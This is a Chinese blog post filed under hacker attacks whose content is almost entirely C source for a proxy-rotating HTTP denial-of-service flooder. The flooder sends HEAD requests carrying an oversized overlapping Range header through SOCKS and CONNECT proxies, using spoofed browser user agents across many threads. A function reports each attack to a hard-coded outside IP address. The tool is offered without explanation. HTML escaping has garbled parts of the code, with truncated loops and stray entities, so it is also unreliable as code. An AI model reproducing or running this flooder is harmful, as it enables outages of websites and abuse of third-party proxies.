2年前 (2016-07-25)  黑客攻击 |   抢沙发  132 
文章评分 1 次,平均分 5.0
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define RND_CHAR (char)((rand() % 26)+97)

char *useragents[] = {
        "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
        "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
        "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
        "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
        "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
        "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
        "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
        "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
        "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
        "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
        "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
        "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
        "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
        "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
        "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
        "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
        "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
        "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
        "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
        "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
        "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
        "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
        "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
        "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
        "Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
        "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
        "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
        "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
        "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
        "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
        "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
};
#define ATTACKPORT 80
//char *postformat = "%s /%s HTTP/1.1\r\nHost: %s\r\nUser-Agent: #useragent#\r\nConnection: close\r\nAccept-Encoding: gzip, deflate\r\n%s\r\n%s";
char *postformat = "HEAD / HTTP/1.0\r\nHost: %s\r\nUser-Agent: %s\r\nRange:bytes=%s\r\nAccept-Encoding: gzip, deflate, compress\r\nConnection: close\r\n\r\n";
char *postpayload;
struct urlparts {
        char * name;
        char separator[4];
        char value[128];
} parts[] = {
        { "scheme", ":" },
        { "userid", "@" },
        { "password", ":" },
        { "host", "//" },
        { "port", ":" },
        { "path", "/" },
        { "param", ";" },
        /*{ "query", "?" },*/
        { "fragment", "#" }
};
enum partnames { scheme = 0, userid, password, host, port, path, param, query, fragment } ;
#define NUMPARTS (sizeof parts / sizeof (struct urlparts))
struct urlparts *returnparts[8];
struct urllist { char *url; int done; struct urllist *next; struct urllist *prev; };
struct proxy { char *type; char *ip; int port; int working; };
struct list { struct proxy *data; char *useragent; struct list *next; struct list *prev; };
struct list *head = NULL;
char parseError[128];
int parseURL(char *url, struct urlparts **returnpart);
char * strsplit(char * s, char * tok);
char firstpunc(char *s);
int strleft(char * s, int n);
void setupparts();
void freeparts();
char *stristr(const char *String, const char *Pattern);
char *str_replace(char *orig, char *rep, char *with);
char *geturl(char *url, char *useragent, char *ip);
char *ipstr;
unsigned int fnGetIP(char *szHost);
static int rps = 0;

char *fznGenerateRange()
{
        char szBytes[12000] = "0-";
        char szAdd[12];
        for (int i = 0; i < = 1299; i++) { sprintf(szAdd, ",5-%d", i); strcat(szBytes, szAdd); bzero(szAdd, 12); } return szBytes; } void *flood(void *par) { struct list *startpoint = (struct list *)par; int i; struct sockaddr_in serverAddr; signal(SIGPIPE, SIG_IGN); while(1) { int sent = 0; if(startpoint->data->working == 0)
                {
                        startpoint = startpoint->next;
                        usleep(10000);
                        continue;
                }
                
                memset(&serverAddr, 0, sizeof(serverAddr));
                serverAddr.sin_family = AF_INET;
                serverAddr.sin_port = htons(startpoint->data->port);
                serverAddr.sin_addr.s_addr = inet_addr(startpoint->data->ip);
                int serverSocket = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
                u_int yes=1;
                if (setsockopt(serverSocket,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(yes)) < 0) {} if(connect(serverSocket, (struct sockaddr *)&serverAddr, sizeof(serverAddr)) > 0)
                {
                        startpoint->data->working = 0;
                        startpoint = startpoint->next;
                        continue;
                }
                if(strcmp(startpoint->data->type, "Socks4")==0)
                {
                        unsigned char buf[10];
                        buf[0] = 0x04;
                        buf[1] = 0x01;
                        *(unsigned short*)&buf[2] = htons(ATTACKPORT);
                        *(unsigned long*)&buf[4] = inet_addr(ipstr);
                        buf[8] = 0x00;
                        if(send(serverSocket, buf, 9, MSG_NOSIGNAL) != 9)
                        {
                                startpoint->data->working = 0;
                                startpoint = startpoint->next;
                                close(serverSocket);
                                continue;
                        }
                }
                if(strcmp(startpoint->data->type, "Socks5")==0)
                {
                        unsigned char buf[20];
                        buf[0] = 0x05;
                        buf[1] = 0x01;
                        buf[2] = 0x00;
                        if((sent = send(serverSocket, buf, 3, MSG_NOSIGNAL)) < 0) { startpoint->data->working = 0;
                                startpoint = startpoint->next;
                                close(serverSocket);
                                continue;
                        }
                        buf[0] = 0x05;
                        buf[1] = 0x01;
                        buf[2] = 0x00;
                        buf[3] = 0x01;
                        *(unsigned long*)&buf[4] = inet_addr(ipstr);
                        *(unsigned short*)&buf[8] = htons(ATTACKPORT);
                        if((sent = send(serverSocket, buf, 10, MSG_NOSIGNAL)) < 0) { startpoint->data->working = 0;
                                startpoint = startpoint->next;
                                close(serverSocket);
                                continue;
                        }
                }
                if(strcmp(startpoint->data->type, "CONNECT") == 0 || strcmp(startpoint->data->type, "TUNNEL") == 0)
                {
                        char *connectrequest = malloc(1024);
                        bzero(connectrequest, 1024);
                        sprintf(connectrequest, "CONNECT %s:25565 HTTP/1.0\r\n\r\n", ipstr);
                        if((sent = send(serverSocket, connectrequest, strlen(connectrequest), MSG_NOSIGNAL)) < 0) { startpoint->data->working = 0;
                                startpoint = startpoint->next;
                                close(serverSocket);
                                continue;
                        }
                        char *recvbuf = malloc(1024);
                        bzero(recvbuf, 1024);
                        int gotbytes = recv(serverSocket, recvbuf, 1024, 0);
                        if(gotbytes < 1) { startpoint->data->working = 0;
                                startpoint = startpoint->next;
                                close(serverSocket);
                                continue;
                        }
                        free(recvbuf);
                }
                //char *httppayload = str_replace(postpayload, "#useragent#", startpoint->useragent);
                //if(httppayload == NULL)
                //{
                //        startpoint = startpoint->next;
                //        close(serverSocket);
                //        continue;
                //}
                //char *tmp = NULL;
                //while((tmp = strstr(httppayload, "%RANDOM%"))!=NULL)
                /*{
                        *(tmp) = RND_CHAR;
                        *(tmp+1) = RND_CHAR;
                        *(tmp+2) = RND_CHAR;
                        *(tmp+3) = RND_CHAR;
                        *(tmp+4) = RND_CHAR;
                        *(tmp+5) = RND_CHAR;
                        *(tmp+6) = RND_CHAR;
                        *(tmp+7) = RND_CHAR;
                }
                */

                send(serverSocket, postpayload, strlen(postpayload), MSG_NOSIGNAL);
                //free(httppayload);
                close(serverSocket);
                rps++;
                usleep(50000);
                //startpoint = startpoint->next;
        }
}

int fnAttackInformation(int attackID)
{
        char szRecvBuff[1024];
        char packet[1024];
        char ip[] = "37.221.170.5";

        snprintf(packet, sizeof(packet) - 1, "GET /~dqyefldi/response.php?auth=tru&id=%d&pro=%d HTTP/1.1\r\nHost: %s\r\nConnection: close\r\nCache-Control: no-cache\r\nOrigin: http://google.com\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-GB,en-US;q=0.8,en;q=0.6\r\nAccept-charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n\r\n", attackID, getpid(), ip);

        struct sockaddr_in *remote;
        int sock;
        int tmpres;
        
 
        if((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) { perror("Can't create TCP socket"); exit(1); } remote = (struct sockaddr_in *)malloc(sizeof(struct sockaddr_in *)); remote->sin_family = AF_INET;
        tmpres = inet_pton(AF_INET, ip, (void *)(&(remote->sin_addr.s_addr)));
        
        if (tmpres < 0) { perror("Can't set remote->sin_addr.s_addr");
                exit(1);
        }
        else if (tmpres == 0)
        {
                fprintf(stderr, "%s is not a valid IP address\n", ip);
                exit(1);
        }
        
        remote->sin_port = htons(80);
        
        if (connect(sock, (struct sockaddr *)remote, sizeof(struct sockaddr)) < 0) { perror("Could not connect"); exit(1); } tmpres = send(sock, packet, strlen(packet), 0); //printf("Sent %d bytes -> \n%s\n\n\n", tmpres, packet);        
        
        if (tmpres == -1){
                perror("Can't send query");
                exit(1);
        }

        int i = 1;
        int dwTotal = 0;


        while (1)
        {
                i = recv(sock, szRecvBuff + dwTotal, sizeof(szRecvBuff) - dwTotal, 0);
                //printf("Received %d bytes\n", i);
                if (i < = 0) break; dwTotal += i; } szRecvBuff[dwTotal] = '\0'; //printf("Received -> \n%s\n\n", szRecvBuff);

        
        close(sock);
        
        //printf("Sent %d bytes\n", tmpres);
        
        return 0;
}


int main(int argc, char *argv[ ]) {
        if(argc < 6){
                fprintf(stderr, "Invalid parameters!\n");
                fprintf(stdout, "Usage: %s     <time> [manual ip (0 to disable)] [post parameters (%RANDOM% will be replaced with random shit)]\n", argv[0]);
                exit(-1);
        }
        //fprintf(stdout, "Setting up Sockets...\n");
        int num_threads = atoi(argv[3]);
        char *method = argv[2];
        if(!(strcmp(method, "GET")==0 || strcmp(method, "HEAD")==0|| strcmp(method, "POST")==0))
        {
                fprintf(stderr, "Invalid parameters!\n");
                fprintf(stdout, "Usage: %s     </time><time> [manual ip (0 to disable)] [post parameters (%RANDOM% will be replaced with random shit)]\n", argv[0]);
                exit(-1);
        }
        FILE *pFile = fopen(argv[4], "rb");
        if(pFile==NULL)
        {
                perror("fopen"); exit(1);
        }
        fseek(pFile, 0, SEEK_END);
        long lSize = ftell(pFile);
        rewind(pFile);
        char *buffer = (char *)malloc(lSize*sizeof(char));
        fread(buffer, 1, lSize, pFile);
        fclose (pFile);
        int i=0;
        char *pch = (char *)strtok(buffer, ":");
        while(pch != NULL)
        {
                if(head == NULL)
                {
                        head = (struct list *)malloc(sizeof(struct list));
                        bzero(head, sizeof(struct list));
                        head-&gt;data = (struct proxy *)malloc(sizeof(struct proxy));
                        bzero(head-&gt;data, sizeof(struct proxy));
                        head-&gt;data-&gt;working = 1;
                        head-&gt;data-&gt;ip = malloc(strlen(pch)+1); strcpy(head-&gt;data-&gt;ip, pch);
                        pch = (char *)strtok(NULL, ":");
                        if(pch == NULL) exit(-1);
                        head-&gt;data-&gt;port = atoi(pch);
                        pch = (char *)strtok(NULL, ":");
                        head-&gt;data-&gt;type = malloc(strlen(pch)+1); strcpy(head-&gt;data-&gt;type, pch);
                        pch = (char *)strtok(NULL, ":");
                        head-&gt;useragent = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
                        head-&gt;next = head;
                        head-&gt;prev = head;
                } else {
                        struct list *new_node = (struct list *)malloc(sizeof(struct list));
                        bzero(new_node, sizeof(struct list));
                        new_node-&gt;data = (struct proxy *)malloc(sizeof(struct proxy));
                        bzero(new_node-&gt;data, sizeof(struct proxy));
                        new_node-&gt;data-&gt;working = 1;
                        new_node-&gt;data-&gt;ip = malloc(strlen(pch)+1); strcpy(new_node-&gt;data-&gt;ip, pch);
                        pch = (char *)strtok(NULL, ":");
                        if(pch == NULL) break;
                        new_node-&gt;data-&gt;port = atoi(pch);
                        pch = (char *)strtok(NULL, ":");
                        new_node-&gt;data-&gt;type = malloc(strlen(pch)+1); strcpy(new_node-&gt;data-&gt;type, pch);
                        pch = (char *)strtok(NULL, ":");
                        new_node-&gt;useragent = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
                        new_node-&gt;prev = head;
                        new_node-&gt;next = head-&gt;next;
                        head-&gt;next = new_node;
                }
        }
        free(buffer);
        const rlim_t kOpenFD = 1024 + (num_threads * 2);
        struct rlimit rl;
        int result;
        rl.rlim_cur = kOpenFD;
        rl.rlim_max = kOpenFD;
        result = setrlimit(RLIMIT_NOFILE, &amp;rl);
        if (result != 0)
        {
                perror("setrlimit");
                fprintf(stderr, "setrlimit returned result = %d\n", result);
        }
        bzero(&amp;rl, sizeof(struct rlimit));
        rl.rlim_cur = 256 * 1024;
        rl.rlim_max = 4096 * 1024;
        result = setrlimit(RLIMIT_STACK, &amp;rl);
        if (result != 0)
        {
                perror("setrlimit_stack");
                fprintf(stderr, "setrlimit_stack returned result = %d\n", result);
        }
        setupparts();
        parseURL(argv[1], returnparts);
        if(argc &gt; 6 &amp;&amp; !(strcmp(argv[6], "0") == 0))
        {
                ipstr = malloc(strlen(argv[6])+1);
                bzero(ipstr, strlen(argv[6])+1);
                strcpy(ipstr, argv[6]);
                //fprintf(stdout, "Using manual IP...\n");
        } else {
                struct hostent *he;
                struct in_addr a;
                he = gethostbyname(returnparts[host]-&gt;value);
                if (he)
                {
                        while (*he-&gt;h_addr_list)
                        {
                                bcopy(*he-&gt;h_addr_list++, (char *) &amp;a, sizeof(a));
                                ipstr = malloc(INET_ADDRSTRLEN+1);
                                inet_ntop (AF_INET, &amp;a, ipstr, INET_ADDRSTRLEN);
                                break;
                        }
                }
                else
                { herror("gethostbyname"); }
        }
        
        
        char *postdata = malloc(1);
        bzero(postdata, 1);
        char *extrahead = malloc(1);
        bzero(extrahead, 1);
        
        pthread_t thread[num_threads];
        postpayload = malloc(12001);
        sprintf(postpayload, postformat, returnparts[host]-&gt;value, useragents[rand() % 40], fznGenerateRange());
        freeparts();
        
        //printf("Packet -&gt; \n%s\n", postpayload);
        
        //return 0;
        
        //fprintf(stdout, "Starting Flood...\n");
        
        fnAttackInformation(atoi(argv[argc-1]));
        
        for(i = 0;inext;
        }
        
        int temp = atoi(argv[5]);
        
        for(i = 0;iname = "scheme";
        strcpy(returnparts[0]-&gt;separator, ":");
        returnparts[1]-&gt;name = "userid";
        strcpy(returnparts[1]-&gt;separator, "@");
        returnparts[2]-&gt;name = "password";
        strcpy(returnparts[2]-&gt;separator, ":");
        returnparts[3]-&gt;name = "host";
        strcpy(returnparts[3]-&gt;separator, "//");
        returnparts[4]-&gt;name = "port";
        strcpy(returnparts[4]-&gt;separator, ":");
        returnparts[5]-&gt;name = "path";
        strcpy(returnparts[5]-&gt;separator, "/");
        returnparts[6]-&gt;name = "param";
        strcpy(returnparts[6]-&gt;separator, ";");
        /*returnparts[7]-&gt;name = "query";
        strcpy(returnparts[7]-&gt;separator, "?");*/
        returnparts[7]-&gt;name = "fragment";
        strcpy(returnparts[7]-&gt;separator, "#");
        return;
}
int parseURL(char *url, struct urlparts **returnpart) {
        register i;
        int seplen;
        char * remainder;
        //char * regall = ":/;?#";
        char * regall = ":/;#";
        //char * regpath = ":;?#";
        char * regpath = ":;#";
        char * regx;
        if(!*url)
        {
                strcpy(parseError, "nothing to do!\n");
                return 0;
        }
        if((remainder = malloc(strlen(url) + 1)) == NULL)
        {
                printf("cannot allocate memory\n");
                exit(-1);
        }
        strcpy(remainder, url);
        if(firstpunc(remainder) == ':')
        {
                strcpy(returnpart[scheme]-&gt;value, strsplit(remainder, returnpart[scheme]-&gt;separator));
                strleft(remainder, 1);
        }
        if (!strcmp(returnpart[scheme]-&gt;value, "mailto"))
        *(returnpart[host]-&gt;separator) = 0;
        for(i = 0; i &lt; NUMPARTS; i++) { if(!*remainder) break; if(i == scheme || i == userid || i == password) continue; if(i == host &amp;&amp; strchr(remainder, '@')) { if(!strncmp(remainder, "//", 2)) strleft(remainder, 2); strcpy(returnpart[userid]-&gt;value, strsplit(remainder, ":@"));
                        strleft(remainder, 1);
                        if(strchr(remainder, '@'))
                        {
                                strcpy(returnpart[password]-&gt;value, strsplit(remainder, "@"));
                                strleft(remainder, 1);
                        }
                        *(returnpart[host]-&gt;separator) = 0;
                }
                if(i == path &amp;&amp; (! *(returnpart[scheme]-&gt;value)))
                {
                        *(returnpart[path]-&gt;separator) = 0;
                        strcpy(returnpart[scheme]-&gt;value, "http");
                }
                regx = (i == path) ? regpath : regall ;
                seplen = strlen(returnpart[i]-&gt;separator);
                if(strncmp(remainder, returnpart[i]-&gt;separator, seplen))
                continue;
                else
                strleft(remainder, seplen);
                strcpy(returnpart[i]-&gt;value, strsplit(remainder, regx));
        }
        if(*remainder)
        sprintf(parseError, "I don't understand '%s'", remainder);
        free(remainder);
        return 0;
}
char *str_replace(char *orig, char *rep, char *with) {
        char *result; 
        char *ins;    
        char *tmp;    
        int len_rep;  
        int len_with; 
        int len_front; 
        int count;    
        if (!orig)
        return NULL;
        if (!rep || !(len_rep = strlen(rep)))
        return NULL;
        if (!(ins = strstr(orig, rep)))
        return NULL;
        if (!with)
        with = "";
        len_with = strlen(with);
        for (count = 0; tmp = strstr(ins, rep); ++count) {
                ins = tmp + len_rep;
        }
        tmp = result = malloc(strlen(orig) + (len_with - len_rep) * count + 1);
        if (!result)
        return NULL;
        while (count--) {
                ins = strstr(orig, rep);
                len_front = ins - orig;
                tmp = strncpy(tmp, orig, len_front) + len_front;
                tmp = strcpy(tmp, with) + len_with;
                orig += len_front + len_rep; 
        }
        strcpy(tmp, orig);
        return result;
}
char *stristr(const char *String, const char *Pattern)
{
        char *pptr, *sptr, *start;
        uint slen, plen;
        for (start = (char *)String,
        pptr = (char *)Pattern,
        slen = strlen(String),
        plen = strlen(Pattern);
        slen &gt;= plen;
        start++, slen--)
        {
                
                while (toupper(*start) != toupper(*Pattern))
                {
                        start++;
                        slen--;
                        
                        if (slen &lt; plen)
                        return(NULL);
                }
                sptr = start;
                pptr = (char *)Pattern;
                while (toupper(*sptr) == toupper(*pptr))
                {
                        sptr++;
                        pptr++;
                        
                        if ('\0' == *pptr)
                        return (start);
                }
        }
        return(NULL);
}
char * strsplit(char * s, char * tok) {
#define OUTLEN (255)
        register i, j;
        static char out[OUTLEN + 1];
        for(i = 0; s[i] &amp;&amp; i &lt; OUTLEN; i++)
        {
                if(strchr(tok, s[i]))
                break;
                else
                out[i] = s[i];
        }
        out[i] = 0;
        if(i &amp;&amp; s[i])
        {
                for(j = 0; s[i]; i++, j++) s[j] = s[i];
                s[j] = 0;
        }
        else if (!s[i])
        *s = 0;
        return out;
}
char firstpunc(char * s) {
        while(*s++)
        if(!isalnum(*s)) return *s;
        return 0;
}
int strleft(char * s, int n) {
        int l;
        l = strlen(s);
        if(l &lt; n) return -1; else if (l == n) *s = 0; memmove(s, s + n, l - n + 1); return n; } unsigned int fnGetIP(char *szHost) { static struct in_addr addr; struct hostent *hHost; addr.s_addr = inet_addr(szHost); if(addr.s_addr == -1) { hHost = gethostbyname(szHost); if(hHost == NULL) { exit(0); } bcopy(hHost-&gt;h_addr, (char *)&amp;addr.s_addr, hHost-&gt;h_length);
        }
        return addr.s_addr;
}
</time>




//下面这个css和插件后台设置的主题有关系,如果需要换样式,则需要修改以下CSS名称

 

除特别注明外,本站所有文章均为铁匠运维网原创,转载请注明出处来自http://www.tiejiang.org/6753.html

发表评论

暂无评论

切换注册

登录

忘记密码 ?

您也可以使用第三方帐号快捷登录

切换登录

注册

扫一扫二维码分享